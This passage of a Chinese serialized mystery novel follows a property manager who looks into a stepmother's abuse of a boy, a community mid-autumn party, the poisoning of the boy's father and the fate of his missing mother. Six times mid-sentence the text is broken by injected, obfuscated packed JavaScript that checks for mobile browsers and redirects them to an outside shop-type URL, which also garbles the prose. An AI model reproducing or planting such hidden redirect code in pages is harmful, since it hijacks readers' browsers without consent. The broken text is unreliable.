本来我是挺高兴的，最爱听别人夸我，但是我眼前闪过被打的光耀，立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158115|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得周萍的夸奖索然无味了。 “很感谢你对我们工作的肯定啊。”我敷衍的说。 “周女士，我刚上来时候看见你儿子去上学了，平时都是他自己上学吗？你不送他？”我往自己关注的话题上唠。 “光耀自己就行，学校离得也不远，用不着送。现在的孩子啊，自立性差跟家长不舍得撒手有很大关系。”周萍说的还挺有道理。 “光耀才上小学六年级，平时还是得多加注意孩子的人身安全。”我提醒。 “吕经理说啥都对，放心吧，我们家光耀不会有事的。”周萍挺自信。 “周女士，你也不容易啊，我知道你不是光耀的亲妈，你这么年轻，让你管一个这么大的孩子，确实不轻松。”我故意说好听的话。 周萍惊诧又热络的看着我，像遇到知音一样说：“吕经理真是知冷知热，可不是咋的，老武出门打工，一年就回来一次，一次就一个星期，扔下这么大一个孩子，我不整咋办 ！” 说完竟然眼角还湿了，我不禁在心里感叹，这女人真不简单，说哭就哭。 说着话就已经出了单元门，“吕经理，回见了啊，跟你聊天真开心。” 我也打着招呼，回见、回见，我们各自走向自己要去的方向。 路上我还是被杀虫剂的事折磨的不行，没理会走过来一个人，我们撞了个满怀。 “对不起、对不起，我没有看路。”一边道歉我一边看向过来的人，“王宁姐？” “吕向荣？” 我俩异口同声的认出对方，“向荣兄弟，你在锦源啊？太巧了！” “是啊，王姐，我负责锦源的物业，你咋来这了？”我也很好奇。 “我来帮老五之前的爱人捯饬捯饬房子，依依走的时候给我发了信息，老武也给我打了电话，他们要卖了这个房子。” 我脑子飞快的旋转，“廖文彬就是五个兄弟里的老五？” “对啊，你们见过了？”王宁也很惊讶。 世界太小了，真的太小了，我不停的感慨着。 第四十八章 让我唱歌 我把怎么发现的田红大娘、怎么帮助的廖依依都跟王宁讲了一遍。 “向荣兄弟，我就说我没看错你，你这个人心眼儿特别好使，善良，会有好报的。” 我突然想起个事情，恰好问问王宁，“王姐，你家四哥失足摔死的时候，有没有发生什么奇怪的事情？” 王宁被我问住了，“奇怪的事情？啥意思？” “就是不同于往常的事情，或者四哥有没有什么反常表现？” 王宁想了半天，说：“还真有，他那几天跟许德生干了一架，非要开了许德生，但是让老大给拦下来了。” “打起来了？据我所知许德生就是个保镖啊，怎么敢跟四哥打仗？” “他确实是保镖，但是他一直是跟着老大的，是老大一手提拔起来的，说话也算是有点分量。后来不知道因为啥，让老大给整到三哥那里去看场子了。”王宁回。 “我们家老四，性情中人，跟三哥一样，看着垃圾站盖房子，从心里往外不乐意，但是也不能跟老大老二抗衡，没办法就替他们管着现场。”王宁继续说。 “至于为啥和许德生打架，我还真不清楚，都没来得及问他，前一天打架，第二天就掉下去摔死了。” “王姐，他们兄弟五个的感情很好吗？”我问。 “很好谈不上，在一起做生意以后就都是利益关系。老大和老二一直行动一致，三哥和我们家老四关系好，至于文彬嘛，他是后加入的，跟两边都还行。” “这园区里，住了不少以前开发公司的员工呢！”王宁说。 “开发公司员工住这里？哪一个啊？”我问。 “因为文彬是靠开发锦源起家的，所以很多开发公司的员工当时都用很低的价格买了这里的房。那个李会计就住这里，原来给我们家老四当会计的。”王宁说。 “李会计？女的？” “对，女的，挺正直一个人，啥事儿都可较真儿了。” 王宁看看手机上的时间，急急忙忙的和我说：“向荣兄弟，我不和你聊了，我得抓紧了，一会儿还有别的事情。” “行，那你忙吧王姐。”想了想我又补充：“王姐，田红大娘家的空气，你进去后好好放放。” “空气？咋的了？” “跟你家一样，臭！”说完我扭头就走了，扔下原地发蒙的王宁。 我越来越觉着这五兄弟跟发生的这些命案有关系，到底是什么呢？ 这些事情有着千丝万缕的联系，要怎样才能解谜呢？刘才东是不是因为发现了什么才被灭口的？ “我说吕向荣，你大早上的脸不洗、牙不刷就跑出去，干啥去了？”王敬之问我。 “师哥，廖依依她爸是那五兄弟里的老五啊！你说世界小不小？”我一边说一边准备去洗漱。 “我早就怀疑了，他那个名片写的就是开发公司，咱们b城虽然是省会，但是有实力的地产商就那么几个，也不算巧吧，是你呆的这几个物业都是大盘。”王敬之说。 “哟呵！师哥，行啊，现在越来越懂了，进步飞快啊！”我又想调侃他。 “吕向荣，中秋晚会差一个节目，你上吧，我记得你小时候唱歌还行。”王敬之竟然让我表演。 我一边刷牙一边惊恐的看着他，意思“师哥我怎么得罪你了，你要害我？” 王敬之有股子等不来同意就不罢休的劲头，就站我旁边看着我。 我被看的浑身不自在，洗漱完以后，说：“师哥，你明知道我一唱歌就迷糊，给我姥爷都唱睡着了，你还让我在这么重要的场合唱歌？你是不是报复我？” “谁希哒报复你，确实是差一个节目，要不怎么的？少演一个？”王敬之刚我。 我想了想收缴率和我年底的奖金，忍了，说：“等我问问李壮，看看节目单再说。” 让我唱歌，只要你们不怕，我可以唱。我正想着，李壮慢悠悠的来了办公室，跟没睡好似的。 “你小子，一清早就这副样子，咋回事？昨晚上做梦追女孩子去啦？”我故意逗他。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158116|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “经理，你看你说的，我昨晚上是没睡好，今早上快两点了才睡着。”李壮边说变打呵欠。 “为啥没睡好？有啥心事儿了咋的？” 谁知道平时对我知无不言的李壮，竟然看看我，闭嘴不谈了。 我的瘾都被勾到嗓子眼了，一下就给我整咽回去了，气的我不行，还不能发作。 “李壮，你给你们吕经理说说，是不是差一个节目。”王敬之还惦记着这个事。 “噢，对，是，差一个节目，原定的是40分钟，少一个节目的话，半个多小时就能结束。”李壮跟我汇报。 “咋这么短么？抽奖环节呢？”我质疑。 “抽奖就抽呗，砸金蛋，很快的。” “你小子，办事不动脑筋，那奖品要是那么容易得到，他们肯定认为我们买的东西都是便宜货，后续还能收上来物业费吗？不得多渲染渲染气氛、吊吊胃口才行吗？” 我假意批评他，实际上是在教他，这个李壮，太实在。 他恍然大悟的样子，说：“经理，你真是有勇有谋的，点子真多，想法 也多。你说我们都是当兵的，我咋没有你那么聪明？” 嘿，他还学会跟我比较了，“你还不聪明啊，你多聪明啊，刚刚问你为啥睡不着觉，你一下子就给我噎回去了，你不聪明谁敢说自己聪明。” “你写上吧，最后一个节目，吕向荣唱歌，歌名 少年壮志不言愁。” 王敬之在旁边哧哧的笑，李壮则是惊喜的说：“经理，你还会唱歌呐，太好了，我可以听到你唱歌什么样了！” “那有啥的，我告诉你，我啥都会，只是让我表演，得有迫不得已的必要。”我说。 “我说吕向荣，你就别给自己戴高帽了，那可是全园区业主都可以参加的晚会，你要是失手了，那你的光荣事迹可就没谁不知道了，自己合计吧！哈哈！”王敬之再次乐开了花。 我看着他幸灾乐祸的样子，做了个鬼脸，“走着瞧，要是不颠覆你的认知，算我输！” 第四十九章 中秋晚会 中秋晚会即将举行的前一天，老武大哥回来了，刚进园区门，就看到了在保安亭坐着的我。 “吕经理，明儿个几点啊？”他还挺当回事，看来钱的力量是巨大的。 “明天晚上7点准时，在小广场。武哥，今晚上好好歇歇，明天争取拿第一噢！” 老武看我热情的鼓励他，朝我点点头，提溜着大包小裹的往家走去。 我看着他的背影，心想，“这要是看见光耀的身上有伤，会不会就可以终结光耀的不幸日子了呢？但愿吧。” 晚上吃完饭我和王敬之出来遛弯，特意往老武大哥家附近转悠，果然看见了武光耀。 “光耀，干啥去？”我问。 武光耀一张小脸笑眯眯的，看得出是从心里往外高兴，“给我爸爸买酒去。” “哦，那你慢点走，别摔了。这爸爸回来就是高兴哈。”我边说边感慨。 看着武光耀一蹦一跳的去门口的便利店，这时候王敬之说：“这小孩是真的喜欢他爸。” “师哥，看你说的，喜欢自己爸还有假的啊？” “怎么没有呢？你想啊，他妈失踪了，他爸也没报警，然后没几年又娶了一个，这一个还总打他，换成是你，你不怪你爸爸？” 我心里一震，站在这个角度分析，确实如此啊！ “师哥，你说你是不是看问题有点阴暗？你咋能看到这个角度上呢？咱就不能凡事往好里想想？”我故意挤兑王敬之。 王敬之斜了我一眼，说：“啥都往好里想，那客观么？还要我们做啥用？” 一句话就把我给问住了，而且再一次想起了角落里的杀虫剂。 中秋晚会热热闹闹的办起来了，出乎我意料的，来了好多人，把摆放的凳子都坐满了还不算，后边还里三层、外三层的站了好多人。 我心里一阵阵的紧张，这压轴的歌，这么多人听着，天啊！ 正担心着，一眼瞥见远处的王敬之在看着我抿嘴笑，这个王敬之啊，竟然要看我笑话！ 刚想过去给他两句，看见老武大哥笑呵呵的朝我走过来。 “吕经理，行啊，整的不错，我还以为就是一个小活动呢，这场面，值了，特等奖5000！” 尽管我听见5000元，心里很疼，但是，我必须保持风度，如果能解决光耀被打的事情，那这5000就没白花。 “武哥，你们家准备好了么？有5000元不假，但是得谁拿第一归谁啊！”我提醒他。 “当然准备好了，昨晚上我那小子就和我练了半天呢。至于周萍，人家年轻，这点事儿不在话下。” 我看着他提到周萍后，既信任又信任的样子，替他惋惜了半天。 “武哥，听说你前妻失踪了是吗？”我很想解惑。 老武有点诧异我怎么突然问起这个，但还是如实说：“是啊，到今年就第七年了。活不见人死不见尸。” “那你报警了吗？” “还真没有。主要是我相信她能回来。”老武很笃定。 我更纳闷了，“为什么这么肯定呢？” “她失踪那天，临上班的时候，她和小耀说，要带他去买上一年级要用的东西，还要带他去报道。失踪后一个星期，我还接到过她的短信，告诉我要去外地办事情，得走个很长时间，让我别担心。你说这么多牵挂和嘱托，能死吗？”老武回忆着。 “什么？失踪后一周还有信息？出去办事能办这么多年、还杳无音信？”我惊讶坏了。 “是啊，所以去年我一想，也许她是在那边又找人了，没脸回来了，我才找的周萍。你不知道，小耀他妈长得漂亮，人群中一眼就能看见那种漂亮。”老武想起前妻眼睛亮亮的。 一时间我不知道说什么了，我也没有证据证明他前妻是死了，让他抱着幻想也好。 “行，武哥，快去准备比赛吧，祝你们家成功！”我怕他再继续和我说话，我会忍不住告诉他他家里发生的真相，就赶紧给他打发走了。 晚会进行的很顺利，每一个节目都博得欢呼和掌声，我是没想到啊，最出彩的竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158117|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是园区的大爷大妈。 那舞跳的，那身板，根本就不像70多岁的人，最关键的，人家思想不老套，跳舞就跳舞，大大方方的，自信也是一种美。 在人群里我看到了钱哥、小李两家人，孙俊明也早早的来了，还有丁一彤、老何一家，他们都来了，王大妈和陈大爷还表演了节目 到了家庭比赛环节，老武一家出现了，武光耀开心的拉着老武的手，周萍一副不耐烦的样子。 我朝武光耀努了努嘴，做了个加油的手势，武光耀也回了我一个加油的手势。 看着他们一家三口配合默契的参加比赛，我不禁想到了老武说的前妻，他没报案是因为笃信前妻还会回来，心里还对前妻抱着美好的幻想。 他出去打工，一年只回来一次，是不是也觉着自己的再找无颜面对前妻呢？ 我胡思乱想着，那边比赛结束了，老武一家果然争了个第一，武光耀又蹦又跳，那个眼神才是孩子应该有的眼神。 终于轮到我了，我穿着洗烫的干净平整的制服，站到舞台 中间，这位置，真的太聚焦了。 我能看到所有人的目光都在看着我，终于明白了啥叫“晕场子”，我现在就是晕场子，在一个这么热闹的时刻，被这么多熟人盯着 心虚的先看了看王敬之，后者知道我紧张的发晕，给我比划了一个手势。 我一看，噢，是叫我“闭上眼睛唱、爱啥样啥样”，你可真是我师哥，只要能唱完，不管我会不会被诟病是吧！ 不过，也只好这样了，越是看着这些熟人的面孔唱，我越是晕。 “各位业主大家好，很高兴今天你们都能来参加这次中秋晚会。因为有你们的捧场，这晚会才能取得这么大的成功。” “吕经理别客套啦，赶紧唱歌吧！”人群中有业主喊。 “对，吕经理人长的好，唱歌应该也好听，快开始吧！”又有业主跟着说。 李壮也用表情示意我，询问我要不要现在放音乐，我就感觉到处都是喊声，糟了，晕！ 第五十章 投毒 音乐声响起的时候，我极力的提醒自己稳住心神，胜败在此一举，平时做事从来没掉过链子，就这么一首歌就把自己难住了？ 我跟音乐不亲，主要是从小我就没有音乐细胞，你让我跑跳、爬墙、格斗啥都行，让我唱歌，那就等于是让张飞摆弄绣花针。 好在歌词和调调我都熟悉，一点点的渐入佳境，一开始的时候没放得开，不敢大声唱。 后来渐渐的敢了，尤其是唱到高潮的位置，我又想起了刘才东。 也是在我们班的一个小型联欢会上，刘才东教我唱了这首歌。 他唱的很好听，每次他唱，我都觉得他是把自己的人生理想、崇敬的目标都唱进了歌里，是带着感情在唱歌的。 于是我的思绪里想到的都是跟刘才东在一起的那些日子，他帮我克服每一个困难的日子，我把这些回忆都融入到了歌里。 一直到音乐结束，我都还没回过神，哥哥，我一定要替你讨回公道！ 台下潮水般的掌声将我的思绪唤了回来，难道，我成功了？ “吕经理，唱的真好啊！” “没想到啊，人长得不错，歌也一样不错！” “经理，你还有这内秀呐！那你还端着，真是的。”李壮热切的看着我说。 我斜楞一下王敬之，后者正得意洋洋的看着我，“师哥，怎么样？是不是没有给师傅丢脸？” 王敬之给我竖了竖大拇指，我那颗心啊，要飞起来了。 晚会在我的歌声中收了尾，时间刚好八点半，园区的业主们都三三两两的往家走。 这时候就听一个女人的尖叫声传来，“老武、老武，你怎么啦？” 不好！出事了。 我和王敬之、李壮循声跑去，看见武大哥瘫倒在地上，口吐白沫，周萍一边喊一边哭，武光耀呆呆的站在一边，吓得不会说话了。 “快！打120。”我一边喊，一边试探着老武的鼻息，这时候人群已经围上来。 “大家散了吧，回去吧，你们都在这围着，空气不流通，对武大哥没好处的。”王敬之边说边疏散人群。 这时候我看到老钱在给我使眼色，意思让我到一边，有话说。 我赶忙走过去，“怎么了？钱哥，难道你知道出了什么事？”我警觉的判断。 “是啊，吕经理，老武喝了一瓶水，是周萍递给他的，喝完没多一会儿，你的歌也唱完了，他就晕了。”老钱神秘兮兮的指了指倒在老武身边的水瓶。 事态严重，得报警，我又拨打了110。 120赶到的时候，老武的鼻息已经很虚弱了，医护人员当场就实施了急救。 光耀看着他爸爸被医生实施急救的样子，吓得一边哭一边喊，“爸爸、爸爸！” 周萍的表情是很着急的，但是，经不起推敲，那着急里面还有着一点无所谓。 想了想老钱的话，难道是周萍下毒了？杀虫剂？ 老武的生命体征稳住的时候，120把他拉走，警察赶到，是林翔。 “向荣，这个小区怎么总出事？这回什么情况？”林翔问我。 我把事情经过讲完，把那个可疑的瓶子递给林翔，让他拿去化验。 林翔把知情的几个人，还有我和王敬之、李壮都叫到了警局，一个一个问询。 “向荣，老武家具体什么情况？”林翔问我。 我把老武前妻失踪、找了周萍后出去打工一年回来一次、周萍经常打骂武光耀的事情都讲了一遍，还有那个杀虫剂的细节也告诉了他。 “杀虫剂？是什么样的杀虫剂？”林翔问。 “实话说，我感觉像敌敌畏。这两天我就一直担心这个事情，没事我就去看看。本来想着老武回来，找机会告诉他解决武光耀被虐待的事情，但是没成想出这么个事儿。” “你是不是以为那瓶药是用来毒武光耀的？” “不瞒你，确实，我以为是周萍要害武光耀。”我跟林翔实话实说。 “我们查了一下老武的社会关系，你知道他前妻是谁吗？”林翔问我。 “不知道。” “他前妻是荟萃亭开发公司的会计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158118|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，叫李文月。”林翔说。 “啊？又是荟萃亭。你这么一说，我怎么更觉着这李文月凶多吉少呢！老武还一直笃信他前妻一定会回来、没有死呢。”我感慨。 “他为什么不报警？人失踪了六七年，他在想什么？”林翔也好奇。 被林翔这么一质疑，我忽然觉得哪里有个大漏洞，越想越不对。 “向荣，你想到了什么？怎么这么疑惑的样子？”林翔问我。 “老林，你说老武大哥知道妻子失踪了，却不报警，也不找，会是因为相信她活着、或者迟早会回来吗？而且最关键的，他再找了。” “不合逻辑，如果他这么做了，那只有一种可能，他知道李文月发生了什么事，所以也不报警、也不找。”林翔一锤定音。 这时候去医院找医生了解情况的警察回来了，跟林翔说：“林队，医院那边的检验结果，武大海的胆碱酯酶活力明显降低，诊断为敌敌畏中毒。武大海现在因重度中毒，还处于深昏迷状态 ，没办法取证。” “啊？武大海不会醒不过来了吧？”我想起可怜的光耀。 “具体不清楚，医生说要等他自己醒，现在没有其它办法。”去医院的警察说。 我和林翔都不再说话，各自坐着，各自想着整个事情的走向，尤其我，把全部细节都过了一遍。 忽然想到，“老林，王宁家地下挖出来的尸骨确定身份了吗？” 林翔不知道我为什么问这个，“还没确认，怎么了？” 我严重怀疑她有可能是李文月。 你们没确认身份，是不是因为系统显示的失踪人口里没有这具尸体的dna？ 林翔点点头，“确实很有可能，我安排检测，跟李文月的dna比对一下。” 我越想越觉得现在接触的这个荟萃亭、刘才东的案子，扑朔迷离的，好多人都掺杂在其中，到底真实的原因是什么呢？ 如果武大哥醒不过来，光耀怎么办？ 老钱看到周萍递给武大哥这瓶水，怎么才能找到是周萍投毒的证据呢？ 第五十一章 李壮的恋爱 等待武大海苏醒的日子，我很焦虑。 林翔那边的dna结果还没有出来，我每天都去武光耀家楼下转悠好几遍，想看看那个孩子怎么样了。 这一转，果然发现了猫腻。 有一天晚上挺晚了，我睡不着，看看时间已经接近11点，这个时候我从没去园区里转过，今天正好弥补一下这个空缺。 习惯性的，我还是往武大海家的方向走，奇怪，前边怎么有个人影鬼鬼祟祟的。 走路就走路，也不好好走，走一步看几看，而且那个背影怎么那么熟悉呢，是谁呢？ 这个时间回家的业主，难不成是孙俊明？ 可是不像啊，孙俊明没有这么高。 我悄悄的跟在后面，看他要做什么。黑影走到武光耀家楼下就停下了，摆弄着手机，好像是发了一条信息，然后就是长久的等待。 我预感要看到大瓜，擦亮眼睛不出声的等着，也就五六分钟吧，楼道里的感应灯亮了，出来一个女的，正是周萍。 黑影赶忙迎上去，两个人离得很近，看不清在说什么，周萍懒洋洋的，明显有点不耐烦。 我看到黑影小心翼翼、比比划划的好像是在给她讲着什么，周萍突然就不高兴了，一甩手就上了楼。 黑影站在原地，本来是想伸手抓周萍的，可是抓了个寂寞。 我感谢自己的睡不着觉，要不然，怎么能看到这一幕。 这时候黑影转过来往回走，那张脸在楼门口灯光的照射下闪现时，我差点喊出来。 李壮！怎么是这小子，我说呢么，最近总是神神秘秘的，睡不醒的样子。 随之而来的就是气愤，人家可是有夫之妇，他去插一脚算什么呢！ 这孩子怎么犯浑呢，傻的！ 我趁他不注意，三两步就跑到他后面，一下子按住他，“谁？”李壮喊。 “你经理我！好你小子，你干嘛来了？”我愤怒的说。 李壮一听是我的声音，不再使劲挣扎，而是跟我求饶，“经理，你撒手，我不跑，你撒手吧！” 我想了想，既然已经被按在当场了，想跑也没门，于是松开了他，用喷火的眼神继续瞪着他。 “经理，这么晚了你不睡觉，来这做啥？”李壮明显心虚。 “我还要问你呢，你来这做啥？跟周萍干啥呢？比比划划的。你知不知道人家有主？” 我就不打算给李壮好脸，我一定要好好埋汰埋汰这臭小子！ “你挺大个个儿，里面装的都是稻草吗？你知不知道你做的事很不道德？很有损福报？”我继续说他。 “经理，我知道我不对，是我不好，可是，可是我挣扎过的，没管用啊！”李壮蹲下身，垂头丧气的看着地面。 我觉得我有些着急了，还没弄清楚来龙去脉就指责他。 再说，向来指责这种方式都是最无用的，如果指责管用，就不会有那么多人继续铤而走险了。 “走，跟我回去，别搁这儿蹲着了，丢不丢人！”我拉起李壮往回走。 到了宿舍，王敬之早已经进入了梦乡，我也不打算让他知道，毕竟不是啥好事。 我跟李壮来到他的房间，小声问他：“说吧，一字不落的、将全部经过告诉我。” 李壮自打认识我就在我手底下干，对我早已经形成了条件反射般的服从，他也不敢跟我打诳语。 许是不太光彩的原因，他说的断断续续，那张脸一会儿红一会儿白，两只眼睛根本不敢看我。 我大致听明白了事情的经过，还真不能全赖李壮，周萍那女人也有勾引的成分。 事情起因是一次武光耀在园区门口挨打，早上的时间，人多车也多，李壮站在门口帮服。 周萍因为武光耀忘记带喝水用的杯子，气急败坏的说着武光耀，她上班的时间已经来不及了，眼见着就迟到。 李壮听见吵嚷声赶紧走过来，看见周萍给武光耀骂哭了，武光耀还挨了好几脚踹。 “业主，有话好好说，别打孩子啊。”李壮劝。 “怎么着？我自己的孩子我愿意怎么管就怎么管，狗拿耗子多管闲事！”周萍怒目圆睁的看向李壮。 李壮也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158119|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一次近距离看到周萍，鬼使神差的被周萍的姿色吸引住了，听说了原因，马上告诉周萍去上班，他陪武光耀去取水杯。 周萍的愤怒一下子就缓和了，看着这个高大干净的保安，心生好感。 再后来，周萍总是有意无意的在保安亭逗留，没事就找李壮说话，还让他到家里帮忙干这干那。 一来二去的，两个人就确认了心意。 听到这以后我气愤的直拍大腿，“糊涂啊，你糊涂！周萍的那些历史你自己都知道，怎么还犯傻呢？就不能好好找个姑娘认真相处？她有丈夫，你不知道？” 李壮半天没说话，想了半天说：“她不是你们说的那样的人，那些男人来都是帮她干活的，武大海常年不在家，家里搬个东西、修点什么，她自己弄不了，没办法。” “她虐待儿童你不知道？”我厉声问。 李壮抬起头看着我说：“这件事我劝了她很多次了，她说武大海跟她在一起也 不登记，也不回家，就是存心找个保姆来帮他照顾儿子的。她还年轻，不能被武大海这么算计。” “那是人家两个人的事啊，他们就算是没登记，那也是人尽皆知的在一起过日子呢，你插一脚算怎么回事？”我气的不行。 “经理，你没谈过恋爱，你不懂。” 一句话给我噎住了，确实，恋爱是个啥滋味我是不知道，但是我知道恋爱是要两个人谈的，而不是几个人一起谈的。 “你说说，恋爱是几个人谈的？”我问他。 “当然是两个人谈啊，周萍跟武大海没感情了，她跟我说这次武大海回来就和他说分手的。”李壮执迷不悟。 我想了想又问：“那你今晚上去是幽会去了？” “经理，不是你想的那样，我跟她，我们还没有。我今晚上去是问她武大海投毒的事情。” 一听投毒两个字，我警觉起来，“她怎么说的？” “她说她不知道武大海为什么中毒，当时他们下楼的时候，从家里拿了三瓶水，长得都一个样，她和武光耀也喝了，啥事没有，就武大海出事了。” 第五十二章 找瓶子 三瓶一样的水？这么说，毒是后来放进去的？我思考着，忘记了盘问李壮。 “经理，周萍还说，武大海知道前妻已经死了，但是不想去报失踪，报了失踪婚姻关系就解除了，就得娶周萍。” “什么？她是这么理解的？武大海亲口跟她说的，知道前妻死了？”我问。 “对，亲口说的，武大海还说，对外都是宣称前妻后来还发过信息过来，没死，在外地找人了。” 我看着李壮，心里越发的相信自己和林翔的分析，关于李文月的死，武大海一定知道点什么。 可是现在人被毒了，能不能醒都不知道呢，没办法询问，咋办？ “她还和你说什么了？我看你俩后来是不欢而散。”我继续问。 “我告诉她不要再虐待光耀，现在园区里的人都知道，对她没有好处。虐待儿童是犯罪。结果她一听就生气了，甩手就走了。”李壮如实汇报。 “所以我说，这个女人心地不善良，一个心地不善良的女人，就算是以后跟你好了，你也摆不平。看女人，不能光看外表啊，傻瓜！”我苦口婆心的劝。 在我心里始终认为，李壮跟周萍，那就是李壮这簇小嫩草，被周萍这头坏牛给啃了。 “经理，我累了，我想睡觉，咱们明天再说吧。”说完话也没等我表态，直接就上了床。 我也回了自己的房间，但是却更难入睡了，一直到了快天亮的时候，才迷迷糊糊的睡去。 第二天接到了林翔的电话，荟萃亭那副尸骨跟武光耀的dna相似度达到9999，证明就是失踪的李文月。 李文月到底惹到了谁呢？被这么凶残的杀害。 我又开始在心里同情起武光耀，这孩子真可怜，亲妈死的不明不白，爸又不明不白的被投了毒，那个后妈还不着调 “我说吕向荣，你搁这合计啥呢？眼睛都直了。”王敬之走过来问我。 我跟他没有秘密，于是把李壮的事情和李文月的事情告诉了王敬之。 “三瓶水一样的，另外两个人都喝了，却没事。这可是疑点啊，那毒应该是你唱歌的时候有人放到水瓶里的。”王敬之和我的看法一样。 “可是我们的监控拍不到啊！人那么多，天也黑。”我感叹。 “你怀疑是周萍投的毒，对吗？”王敬之问我。 “老钱说那瓶水是周萍递给武大海的。她肯定有嫌疑，而且她也有动机。”我回。 “吕向荣，我觉得我们应该先去找你发现的那个杀虫剂的瓶子，如果印证了就是那瓶子里的东西毒害的武大海，那说明只有两个人可能干这个事。” “怎么是两个人呢？武光耀不可能的。”我一口否定。 但是看着王敬之不说话、瞅着我的眼神，我琢磨着，一口否定确实有点武断。 我和王敬之的下一步工作就是找杀虫剂的瓶子，而且我和林翔通了个气，他也赞同我们这个假设。 林翔开始找几宗案件的关联和证据，我们开始分头行动。 那个杀虫剂的瓶子好像凭空消失了，我发动全体保洁去找，就差把园区翻个底朝天了，却还是一无所获。 三四天都没有任何进展的时候，有一天下班左右的时间，我看到武光耀背着书包一个人从园区外回来。 “光耀，放学啦？”我喊他。 “吕叔叔，嗯，放学了。”武光耀朝我跑过来，站在我面前说。 “今天怎么样？都顺利吗？我看你的脸色还可以，最近没挨打吧？”我关心的问。 “今天都好，这几天周阿姨都去照顾我爸爸，我一个人在家，没人打我。” “什么？她每天都去看你爸爸？晚上不回家了？”我表示深深的怀疑。 “对，她说我爸爸需要她照顾，让我自己在家睡觉。”武光耀明显很乐意周萍不在。 他好像想起了什么，问我：“吕叔叔，我爸爸是不是醒不过来了？” “为什么醒不过来？怎么这么问呢？”我很好奇。 “是周阿姨说的，她说我爸爸中毒很严重，那个敌敌畏能把人毒死。” 武光耀的话音刚落，我仿佛被雷击了一般，没人说过投的毒是敌敌畏啊，周萍怎么知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158120|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道的？ 不行，我得赶紧跟林翔汇报。 我目送武光耀回了家，赶紧给林翔打电话，林翔表示马上传讯周萍。 周萍是在一个男人家里被警察找到的，警察以投毒嫌疑人的身份逮捕了她。 这件事传回来的时候，我看到李壮呆呆的坐在位置上不说话。 我也没打算再刺激他，男人对于被戴小绿帽这种事还是很在意的，让他自己尝到疼的滋味也好，以后就再也不犯傻了。 “师哥，你有没有用你那小罗盘测一测瓶子的位置？”我还是专注在瓶子上。 “有！向荣，瓶子在武大海家里。我们还是去一趟吧。”王敬之的话让我很意外。 不过也确实有极大可能，整个园区的垃圾桶，凡是能扔东西的地方翻了个底掉都没有，那只能是在家里了。 我给武光耀买了一些水果，拎着水果跟王敬之来到武光耀家，武光耀听到是我们敲门，高高兴 兴的给开了门。 “吕叔叔、王叔叔，你们怎么来了？”光耀问。 “来看看你啊，知道你一个人在家，怕你饿着，吃饭没有？王叔叔做的菜可好吃了，让他露一手。”我朝王敬之挤挤眼。 王敬之本来是不乐意的，但是看着武光耀渴望的眼神，说：“叔叔看看冰箱里有什么，给你做，很快的，你先吃点水果。” 